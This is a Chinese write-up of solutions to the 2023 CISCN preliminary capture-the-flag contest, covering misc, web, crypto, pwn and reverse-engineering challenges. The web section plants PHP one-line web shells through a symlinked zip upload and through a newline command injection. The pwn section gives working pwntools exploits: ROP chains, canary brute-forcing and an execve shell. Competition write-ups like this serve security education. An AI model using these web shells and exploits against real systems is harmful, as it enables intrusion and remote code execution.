2023全国大学生信息安全竞赛(ciscn)初赛题解

news2025/1/10 16:49:52

战队信息

image-20230528175300151 image-20230528175348443

安全知识

甚至不用看视频,百度就有答案。除了那个最新的美国时政,其它的ChatGPT就能回答。

Misc

签到卡

关注公众号,根据提示,直接print(open(‘/flag’).read()):

68c6f19598fe57526fae519488075e3c_0

国粹

脑洞题,给的题目原图有两排一模一样的麻将。(思考下为什么给两排)

然后给了a.png和k.png两个一排的麻将的图片,猜测是将这两个一排的麻将合并成一张图片。

合并后对于上下两排的麻将,猜测存在某种规律。

我们将题目原图从1到42进行编号(一万出现了两次,第一次上面是空白,忽略不计):

image-20230527181943673

然后将a.png和k.png进行拼接:

image-20230527182043348

根据题目原图的编号,得到一个二元组数组。二元组的第一个元素存在大量相同的数字,猜测可能是坐标。

将a.png作为x坐标,k.png作为y坐标,对于1 <= x <= 10,拼接一下得到flag{字符:

image-20230527182223750
import matplotlib.pyplot as plt

# 末尾添加最大值(42, 42),防止坐标太散看不清。
x_coords = [1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
            5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
            7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 42]
y_coords = [4, 5, 10, 30, 3, 4, 5, 6, 10, 29, 30, 3, 4, 10, 16, 17, 22, 23, 24, 25, 29, 30, 2, 3, 4, 5, 10, 15, 16, 18,
            21, 22, 24, 25, 29, 30, 3, 4, 10, 15, 17, 18, 19, 20, 22, 25, 28, 29, 3, 4, 10, 15, 16, 18, 19, 21, 22, 25,
            29, 3, 4, 10, 11, 12, 13, 15, 18, 19, 22, 23, 24, 25, 29, 30, 3, 4, 11, 12, 15, 16, 17, 18, 19, 20, 25, 29,
            30, 21, 22, 24, 25, 30, 31, 23, 24, 42]

plt.scatter(x_coords, y_coords)

plt.title("Scatter Plot")
plt.xlabel("X-axis")
plt.ylabel("Y-axis")

plt.show()

因此,将所有a.png和k.png图片中的麻将转换成坐标,画图得到Flag:flag{202305012359}。

flag1
import matplotlib.pyplot as plt

x_coords = [1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
            5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7,
            7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 10, 10, 12, 12, 12, 12, 13, 13, 13, 13, 13,
            13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16,
            16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19,
            19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 23, 23, 23, 23, 23,
            23, 23, 23, 23, 23, 23, 23, 23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, 25, 25, 25,
            25, 25, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 28, 28, 28, 28,
            28, 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, 29, 29, 29, 31, 31, 31, 31, 31, 31, 32, 32, 32, 32, 32, 32, 32,
            32, 32, 32, 32, 32, 32, 32, 32, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34, 34, 34, 34, 34,
            34, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37,
            37, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39]
y_coords = [4, 5, 10, 30, 3, 4, 5, 6, 10, 29, 30, 3, 4, 10, 16, 17, 22, 23, 24, 25, 29, 30, 2, 3, 4, 5, 10, 15, 16, 18,
            21, 22, 24, 25, 29, 30, 3, 4, 10, 15, 17, 18, 19, 20, 22, 25, 28, 29, 3, 4, 10, 15, 16, 18, 19, 21, 22, 25,
            29, 3, 4, 10, 11, 12, 13, 15, 18, 19, 22, 23, 24, 25, 29, 30, 3, 4, 11, 12, 15, 16, 17, 18, 19, 20, 25, 29,
            30, 21, 22, 24, 25, 30, 31, 23, 24, 22, 23, 24, 25, 2, 3, 4, 5, 9, 10, 11, 12, 13, 16, 17, 18, 19, 24, 25,
            2, 5, 6, 9, 12, 19, 23, 24, 5, 9, 12, 18, 19, 22, 23, 4, 5, 9, 12, 17, 18, 23, 23, 24, 3, 4, 9, 12, 16, 17,
            24, 25, 3, 9, 12, 16, 25, 3, 4, 5, 6, 9, 10, 11, 12, 16, 17, 18, 19, 21, 22, 23, 24, 25, 10, 11, 3, 4, 5, 6,
            10, 11, 12, 17, 18, 19, 24, 25, 3, 6, 7, 9, 10, 16, 17, 19, 20, 22, 23, 24, 25, 3, 6, 7, 9, 10, 16, 19, 20,
            24, 25, 3, 6, 7, 10, 11, 12, 16, 19, 20, 20, 24, 25, 3, 6, 7, 12, 13, 16, 19, 20, 24, 25, 3, 6, 7, 9, 12,
            13, 16, 19, 20, 24, 25, 3, 4, 6, 9, 10, 11, 12, 16, 17, 19, 20, 24, 25, 4, 5, 17, 18, 19, 10, 11, 12, 13,
            25, 31, 4, 5, 6, 10, 11, 12, 13, 17, 18, 19, 23, 24, 25, 26, 32, 3, 4, 6, 7, 12, 16, 17, 23, 23, 24, 26, 32,
            6, 7, 11, 16, 17, 23, 24, 26, 32, 6, 11, 12, 17, 18, 19, 23, 24, 25, 26, 33, 5, 12, 13, 4, 5, 13, 16, 19, 20,
            25, 26, 32, 4, 5, 6, 7, 9, 10, 11, 12, 13, 16, 17, 18, 19, 24, 25, 31, 32, 23, 24, 31]

print(len(x_coords))
print(len(y_coords))

plt.scatter(x_coords, y_coords)

plt.title("Scatter Plot")
plt.xlabel("X-axis")
plt.ylabel("Y-axis")

plt.show()

被加密的生产流量

wireshark打开发现没有http流量,本来以为会很复杂。

考虑分析常用的tcp协议,直接追踪第一个tcp包:

image-20230527195917106 image-20230527195942214

发现里面有几个可见字符大写字母,末尾三个=,考虑是Base32。

将可见字符拼接,直接Base32解码得到Flag:flag{c1f_fi1g_1000}。

image-20230527200116209

pyshell

以为是上周上海比赛的题,结果过滤了下划线括号等,无法模板注入,但是没有过滤eval。

python中_表示上次计算结果,因此可以进行_进行字符串拼接:

# eval(open("/flag", "r").read())
"open"
_+"("
_+'"/'
_+'f'
_+'l'
_+'a'
_+'g'
_+'"'
_+',"'
_+'r"'
_+')'
_+'.r'
_+'e'
_+'a'
_+'d'
_+"("
_+")"
eval(_)

Web

unzip

文件上传,如果传上去的是zip压缩包,网站执行unzip命令解压。没有文件读取漏洞,不能直接传php。

考虑使用软连接,然后通过zip命令将软连接a打包为a.zip上传到靶机,靶机自动解压到tmp目录下。

ln -s / a
zip -y a.zip a
image-20230527194041580

然后将一句话木马写到php中,保存在网站根目录(/var/www/html/)下:

# hack.php
<?php @eval($_POST['cmd']); ?>

然后再次通过软连接:

zip -y hack.zip ./a/var/www/html/hack.php

上传hack.zip到靶机,靶机自动解压到./a/var/www/html/hack.php,即/var/www/html/hack.php位置。

此时,直接访问网站根目录下的hack.php即可执行system命令RCE得到Flag。

image-20230528161701603

需要注意:zip时需要加-y参数保留软连接,否则软连接会被替换。

dumpit

存在mysqldump,php没有对数据库dump的相关函数,猜测使用exec命令执行。

由于过滤了分号,尝试通过%0a进行分隔,实现命令执行,由于没有回显,可以写一句话木马到文件。

在写的时候发现过滤了$,可以通过协议头获取rce参数。ls没问题,cat可能由于权限问题得不到flag。

后来发现env环境变量中有flag信息,可能是生成靶机动态Flag的时候将Flag写入了环境变量。

http://eci-2ze8hwdukyef9wbsve43.cloudeci1.ichunqiu.com:8888/?db=ctf&table_2_dump=flag1%0Aecho%20%22%3C?php%20@eval(getallheaders()[%27Cookie%27])?%3E%22%20%3E%20%22/app/log/1.php%22%0A
# echo "<?php eval(getallheaders()['Cookie'])?>" > "/app/log/1.php"

写入一句话木马后,直接RCE:

image-20230528162309389 image-20230528162504867

Cyrpto

基于国密SM2算法的密钥密文分发

按照文档里说的,发送POST请求包含个人信息得到一个id。

然后发送id和网上随便找的SM2公钥,得到服务端加密后的随机数密文、私钥密文和公钥明文:

id=cebf250c-e894-4ed2-911c-232d0d2c0b59&publicKey=00B9AB0B828FF68872F21A837FC303668428DEA11DCD1B24429D0C99E24EED83D5
{
  "message": "success",
  "data": {
    "publicKey": "04059221925f5111cb6a800039f2166f2c12de30050fa7ca8d1cef506504668f54ac6bcf0709b3a915adad15a46af510aaf5d9357db746500f76700350fcd4707d",
    "privateKey": "073b5756c98e204c11d8cc19b94ada9b0fec71ca539063473ffcd53c7631d4d8",
    "randomString": "558672ff59f9140cfe4a9d73b09dc824eeda41039501e5ffdb08e71cf5c899c13772c0e7d9e4c0aeefeca899a1ded11a4bdd240fdef3838963760579c7412d069d3174b88d97f7a93ad85f40964d9c894fca3405021e4e8afa59fe69518fa5711abfdd45b791c394ef4193e012812799",
    "id": "cebf250c-e894-4ed2-911c-232d0d2c0b59"
  }
}

然后访问/api/quantum接口获取密文:

{
  "message": "success",
  "data": {
    "id": "cebf250c-e894-4ed2-911c-232d0d2c0b59",
    "quantumString": "91ee28439be5aa3d72f3bea95de0dc56a6a61043fbc22c38a1c81214bfbfb8447204cff377c019727fd03339cceea4a5e554eb6e1d7af353853fbcc33f2453ed60e00fb63c07f243b20fc007cfb40eb0fa8b7b097ca97bca8b012a91fef3c120d7cd3843cef95e8347da83939ad52702"
  }
}

根据题目要求,这里应该发送解密后的密钥到服务端,需要用到SM2算法。

但是题目出的有问题,直接访问/api/search接口就可以得到quantumStringServer,即解密后的密钥。

得到解密后的密钥发送到/api/check接口,然后再次访问/api/search接口获得Flag。

可信度量

和去年ciscn出的三道可信计算一样,flag还是直接存在了靶机中。

估计出题人可信计算水平很高,但是不太了解Linux系统的权限和命令。

直接grep搜索一下:

grep -r "flag{" /

末尾得到搜索到的文件结果,直接cat即可得到Flag。

Sign_in_passwd

题目出来的时候没注意,过了10分钟就80+解。给出2段文本。

下面的文本显然URL编码,对它进行URL解码:

j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5
URL解码:GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

解码后发现长度是65并且存在一些连续字符,考虑可能是Base64密码表。

直接Cyberchef解出Flag:flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}。

image-20230527201347307

Pwn

烧烤摊儿

被冲成签到题了,pwn1和pwn2难度差距太大,应该再设置个中等题目,pwn2的protobuf不知道怎么分析。

学的一些堆知识和技巧没能用上,都被卡在程序逆向分析上了。

pwn1直接IDA分析,菜单式函数:

image-20230527201755962

发现5是一个隐藏菜单,进入的前提条件是own==True。

继续分析,4是购买摊位,要求money>=100000:

image-20230527201854693

继续分析,1是购买,money += -10 * v9存在整数溢出漏洞,可以让v9*10溢出int范围到负数,然后money变成一个很大的数字。

image-20230527201947709

然后发现隐藏函数存在一个栈溢出漏洞,可以控制函数返回地址。

同时,将输入的内容复制到全局变量name。题目没给libc,但是提供了open64、read和write函数。

image-20230527202112353

到这里,思路很明显,整数溢出->栈溢出->ORW:

from pwn import *

# io = process('./pwn1')
io = remote('123.56.251.120', '19691')
elf = ELF('./pwn1')

io.sendline(b'1')
io.sendline(b'1')
io.sendline(b'1147483647')
io.sendline(b'4')
io.sendline(b'5')

oopen = 0x457C90
read = 0x457DC0
write = 0x457E60
name = 0x4E60F0

pop_rdi = 0x40264f
pop_rsi = 0x40a67e
pop_rdx_rcx = 0x4a404b

# gdb.attach(io)
# pause()
# open('./flag\x00\x00', 0)
payload = p64(pop_rdi) + p64(name) + p64(pop_rsi) + p64(0) + p64(oopen)
# read(3, buf, 0x40)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(name) + p64(pop_rdx_rcx) + p64(0x40) * 2 + p64(read)
# write(1, buf, 0x40)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(name) + p64(pop_rdx_rcx) + p64(0x40) * 2 + p64(write)
io.sendline(b'./flag\x00\x00' + b'A'*0x18 + b'deadbeef' + payload)

io.interactive()

funcanary

又是一个签到题,还是原题。

拖入IDA发现fork函数,fork产生的canary不变,经典的爆破canary。

成功爆破canary后存在栈溢出漏洞,可以控制程序返回地址。

通过shift + f12发现了cat flag字符串,交叉引用定位到后门函数位置。

但是程序开启了PIE保护,后三位固定,爆破第四位地址即可:

from pwn import *

context(log_level = 'debug')

#io = process('./pwn')
io = remote('47.93.249.245', '41984')
elf = ELF('./pwn')

io.recvuntil(b'welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(256):
        payload = b'A'*0x68 + canary + p8(i)
        io.send(payload)
        a = io.recvuntil(b'welcome\n')
        if b'have fun' in a:
            canary += p8(i)
            print(canary)
            break
            #print(b'canary:' + canary)
        print(k, canary)
print(canary)
io.interactive()
# 0x1324
backdoor = 0x1229
context(log_level ='debug')
for m in range(16):
    tmp = m * 16 + 2
    payload = b'A'*0x68 + canary + b'deadbeef' + b'\x31' + p8(tmp)
    io.send(payload)
    a = io.recvline()
    print(a)
    if b'flag' in a:
        io.interactive()
    print('m = ' + str(m))
    print(b'\x29' + str(tmp).encode())
    #try:
        #a = rcvuntil(b'flag')
        #io.interactive()
    #except:
        #pass
io.interactive()

Shell We Go

go语言程序,没有main函数,通过ciscnshell字符串交叉引用定位到关键函数:

image-20230528175533058

根据流程图定位到cert命令的参数,找到第一个参数,然后顺着找第二个参数:

image-20230528180040974

发现RC4的key和密文:

image-20230528180156820

解密得到cert命令的两个参数:

cert nAcDsMicN S33UAga1n@#!

此时可以进入假的shell中,可以ls和cat flag但是得到的flag是假的。

继续分析发现echo命令将a和b两个参数字符串拼接起来时存在栈溢出漏洞。

通过填充一堆垃圾字符,确定返回地址距离填充数据起始位置的偏移量。

程序对加号进行处理,将末尾改成加号可以顺利执行到ret,具体原理没去深究。

构造ROP,通过两次系统调用,先将/bin/sh存入内存中,然后调用execve来get shell。

通过vmmap找到一个可写段:

image-20230528182356458

exp:

from pwn import *

# io = process("./pwn")
io = remote('123.56.135.185', '22828')
io.sendlineafter(b"ciscnshell$ ", b"cert nAcDsMicN S33UAga1n@#!")

syscall = 0x40328c
pop_rdi = 0x444fec
pop_rsi = 0x41e818
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6

payload = b"echo " + b"A" * 0x130 + b" " + b"A" * 0xd3 + b"+" * 0x20

# sys_read(0, buf, 0x10)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0xc000000100) + p64(pop_rdx) + p64(0x10) + p64(pop_rax) + p64(0) + p64(syscall)

# execve(buf, 0, 0)
payload += p64(pop_rdi) + p64(0xc000000100) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(0x3b) + p64(syscall)

io.sendlineafter(b"nightingale# ", payload)

io.send(b"/bin/sh\x00")

ip.interactive()

Re

ezbyte

从ida的反编译结果定位到输入首先进行的输入判断,flag的格式要为flag{},其中的最后4字节为3861

image-20230528000613638

之后对输入的计算逻辑就什么也看不到了,多次调试也没跟踪到。。

最后想到会不会是计算的关键逻辑都隐藏到DWARF Expression中了,在去年的DSCTF有一个这个考点的题目:https://richar.top/nothingchu-ti-si-lu-ji-wp/

在其中我们可以直接使用作者提供脚本来分析DW_CFA_val_expression,把相应的栈操作转化为C代码,然后通过-O3优化编译得到目标文件,最后通过IDA分析即可。

本地rust环境之前删了,下面重新安装:

curl --proto ‘=https’ --tlsv1.2 -sSf https://sh.rustup.rs | sh

image-20230528002639708

然后直接利用上面wp中脚本来分析题目文件:

保存上面的脚本为:analysis.rs

并准备好Cargo.toml文件:

[package]
name = "analysis"
version = "0.1.0"
edition = "2021"

[dependencies]
gimli = "0.26.1"
object = "0.29.0"

[[bin]]
name = "analysis"
path = "analysis.rs"

在当前目录下执行:

cargo build
cargo run -- ./ezbyte_patch

报错:

thread 'main' panicked at 'not yet implemented: RegisterOffset { register: Register(12), offset: 0, base_type: UnitOffset(0) }', main.rs:270:22
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

从报错中看到是缺少了RegisterOffset的实现,它有三个参数:register,offset,base_type。注意到报错中的offset: 0,所以相当于没有,直接在原Register基础上,修改为RegisterOffset { register: Register(12), offset: 0, base_type: UnitOffset(0) }

仿照已有的Register的实现:

image-20230528003334969

将其修改为。其中只用对名方法名和参数修改:

image-20230528022309648

修改后的analysis.rs:

// [dependencies]
// gimli = "0.26.1"
// object = "0.29.0"

use std::{collections::HashMap, fs, fmt::Display, io::Write};
use std::process::Command;

use gimli::UnwindSection;
use object::{Object, ObjectSection};

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let mut arg = std::env::args();
    if arg.len() != 2 {
        panic!("Argument Error!")
    }
    let bin_data = fs::read(arg.nth(1).unwrap())?;
    let obj_file = object::File::parse(&*bin_data)?;
    let data = obj_file.section_by_name(".eh_frame").unwrap();
    let eh_frame = gimli::read::EhFrame::new(data.data()?, gimli::LittleEndian);
    let bases = gimli::BaseAddresses::default().set_eh_frame(data.address());
    let mut entries = eh_frame.entries(&bases);

    let mut file = fs::OpenOptions::new().append(false).truncate(true).write(true).create(true).open("./output.c")?;
    writeln!(file, "#include <stdint.h>")?;


    let mut cies = HashMap::new();
    while let Some(entry) = entries.next()? {
        if let gimli::CieOrFde::Fde(partial) = entry {
            let fde = partial.parse(|_, bases, o| {
                cies.entry(o)
                    .or_insert_with(|| eh_frame.cie_from_offset(bases, o))
                    .clone()
            })?;
            // 通过长度过滤出我们想要的
            if fde.entry_len() < 100 {
                continue;
            }
            let mut instructions = fde.instructions(&eh_frame, &bases);
            use gimli::CallFrameInstruction::*;
            loop {
                match instructions.next() {
                    Err(e) => {
                        println!("Failed to decode CFI instruction: {}", e);
                        break;
                    }
                    Ok(Some(ValExpression {
                                register,
                                expression,
                            })) => {
                        println!(
                            "DW_CFA_val_expression ({}, ...)",
                            gimli::X86_64::register_name(register).unwrap_or("{unknown}")
                        );
                        display_val_expression(register, expression, &mut file)?;
                    }
                    Ok(None) => {
                        break;
                    }

                    _ => {}
                }
            }
        }
    }
    file.flush()?;

    Command::new("gcc")
        .arg("-O3")
        .arg("./output.c")
        .arg("-c")
        .spawn()?;

    Ok(())
}

#[derive(Clone, Copy)]
struct Val {
    id: u64,
}

impl Val {
    fn new(id: u64) -> Self {
        Val { id }
    }
}

struct ValGenerator {
    id: u64,
}

impl ValGenerator {
    fn new() -> Self {
        Self { id: 0 }
    }
    fn next(&mut self) -> Val {
        self.id += 1;
        Val::new(self.id - 1)
    }
}

impl Display for Val {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(f, "v{}", self.id)
    }
}

fn display_val_expression<R>(target_reg: gimli::Register, exp: gimli::Expression<R>, w: &mut dyn Write) -> Result<(), Box<dyn std::error::Error>>
    where
        R: gimli::Reader,
{
    let mut val_generator = ValGenerator::new();
    let mut ops = exp.operations(gimli::Encoding { address_size: 8, format: gimli::Format::Dwarf64, version: 5 });
    let mut stack: Vec<Val> = Vec::new();
    writeln!(w, "uint64_t cal_{}(uint64_t r12, uint64_t r13, uint64_t r14, uint64_t r15){{", gimli::X86_64::register_name(target_reg).unwrap())?;
    writeln!(w, "    uint64_t rax=0,rbx=0;")?;
    loop {
        if let Ok(Some(op)) = ops.next() {
            match op {
                gimli::Operation::Drop => {
                    stack.pop();
                }
                gimli::Operation::Pick { index } => {
                    let val1 = stack.get(stack.len() - 1 - index as usize).unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Swap => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val2);
                }
                gimli::Operation::Rot => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let val3 = stack.pop().unwrap();
                    stack.push(val1);
                    stack.push(val3);
                    stack.push(val2);
                }
                gimli::Operation::And => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}&{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Minus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}-{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Neg => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=-{};", val, val)?;
                }
                gimli::Operation::Not => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}=~{};", val, val)?;
                }
                gimli::Operation::Or => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}|{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Plus => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}+{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::PlusConstant { value } => {
                    let val = stack.get(stack.len() - 1).unwrap();
                    writeln!(w, "    {}+={}ull;", val, value)?;
                }
                gimli::Operation::Shl => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<<{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shr => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>>{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Shra => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t)((int64_t){}>>(int64_t){});", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Xor => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}^{};", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Eq => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}= {}=={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ge => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Gt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}>{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Le => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Lt => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}<{}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::Ne => {
                    let val1 = stack.pop().unwrap();
                    let val2 = stack.pop().unwrap();
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}!={}?1:0;", new_val, val2, val1)?;
                    stack.push(new_val);
                }
                gimli::Operation::UnsignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={}ull;", new_val, value)?;
                    stack.push(new_val);
                }
                gimli::Operation::SignedConstant { value } => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}=(uint64_t){}ll;", new_val, value)?;
                    stack.push(new_val);
                }
              	gimli::Operation::RegisterOffset { register, offset, base_type} => {
                    let new_val = val_generator.next();
                    writeln!(w, "    uint64_t {}={};", new_val, gimli::X86_64::register_name(register).unwrap_or("{error}"))?;
                    stack.push(new_val);
                }
   
                _ => todo!("{:?}", op)
                
            }
        } else {
            break;
        }
    }
    assert_eq!(stack.len(), 1);
    writeln!(w, "    return {};", stack.pop().unwrap())?;
    writeln!(w, "}}\n")?;
    Ok(())
}

再次执行 cargo run – ./ezbyte_patch

得到目标二进制文件,ouput.o

使用ida分析,就是一个表达式:

image-20230528004243493

它的函数名字为计算r12,回到程序中达到正确分支的条件:

image-20230528004408887

也就是说要r12等于0

那ida中的表达式为0即是目标结果,也就是或的每个子表达式都要为0:

(a1 + 1892739) ^ 0x35626665394D17E8 == 0
(a2 + 8971237) ^ 0x65342D6530C04912 == 0
(a3 + 1512312) ^ 0x2D393663614447B1 == 0
(a4 + 9123704) ^ 0x6336396431BE9AD9 == 0

都是很好逆的运算,使用C语言计算以下得到a1 a2 a3 a4:

#include <stdio.h>

/*
(a2 + 1892739) ^ 0x35626665394D17E8 == 0
(a2 + 8971237) ^ 0x65342D6530C04912 == 0
(a3 + 1512312) ^ 0x2D393663614447B1 == 0
(a4 + 9123704) ^ 0x6336396431BE9AD9 == 0
*/

int main(void)
{
	__int64 a1, a2, a3, a4;
	
	a1 = 0x35626665394D17E8-1892739;
	a2 = 0x65342D6530C04912-8971237;
	a3 = 0x2D393663614447B1-1512312;
	a4 = 0x6336396431BE9AD9-9123704;
	
	printf("%c%c%c%c%c%c%c%c", a1 & 0xFF, (a1 >> 8) & 0xFF, (a1 >> 16) & 0xFF, (a1 >> 24) & 0xFF, (a1 >> 32) & 0xFF, (a1 >> 40) & 0xFF, (a1 >> 48) & 0xFF, (a1 >> 56) & 0xFF);
	printf("%c%c%c%c%c%c%c%c", a2 & 0xFF, (a2 >> 8) & 0xFF, (a2 >> 16) & 0xFF, (a2 >> 24) & 0xFF, (a2 >> 32) & 0xFF, (a2 >> 40) & 0xFF, (a2 >> 48) & 0xFF, (a2 >> 56) & 0xFF);
	printf("%c%c%c%c%c%c%c%c", a3 & 0xFF, (a3 >> 8) & 0xFF, (a3 >> 16) & 0xFF, (a3 >> 24) & 0xFF, (a3 >> 32) & 0xFF, (a3 >> 40) & 0xFF, (a3 >> 48) & 0xFF, (a3 >> 56) & 0xFF);
	printf("%c%c%c%c%c%c%c%c", a4 & 0xFF, (a4 >> 8) & 0xFF, (a4 >> 16) & 0xFF, (a4 >> 24) & 0xFF, (a4 >> 32) & 0xFF, (a4 >> 40) & 0xFF, (a4 >> 48) & 0xFF, (a4 >> 56) & 0xFF);
	
	return 0;	
}
//e609efb5-e70e-4e94-ac69-ac31d96c

所以最后的flag是:flag{e609efb5-e70e-4e94-ac69-ac31d96c3861}。

babyRE

打开发现有一个网址:

image-20230528173306702

进入网站后发现是一个可视化编程,将xml导入发现加密逻辑:

image-20230528173408736

密文保存在secret中,根据右边的逻辑得知:要求我们输入flag并令key=flag。

每次将key的第i位和i-1位进行xor操作,得到的结果和secret相等。

根据异或的特性,已知secret,编写Python脚本解密:

secret = [102,10,13,6,28,74,3,1,3,7,85,0,4,75,20, 92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
flag = 'f'
for i in range(1, len(secret)):
    print(flag, end='')
    flag = chr(ord(flag) ^ secret[i])
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/580781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode热题100】打卡第6天:正则表达式匹配

文章目录 正则表达式匹配⛅前言&#x1f512;题目&#x1f511;题解 正则表达式匹配 ⛅前言 大家好&#xff0c;我是知识汲取者&#xff0c;欢迎来到我的LeetCode热题100刷题专栏&#xff01; 精选 100 道力扣&#xff08;LeetCode&#xff09;上最热门的题目&#xff0c;适合…

从原理总结chatGPT的Prompt的方法

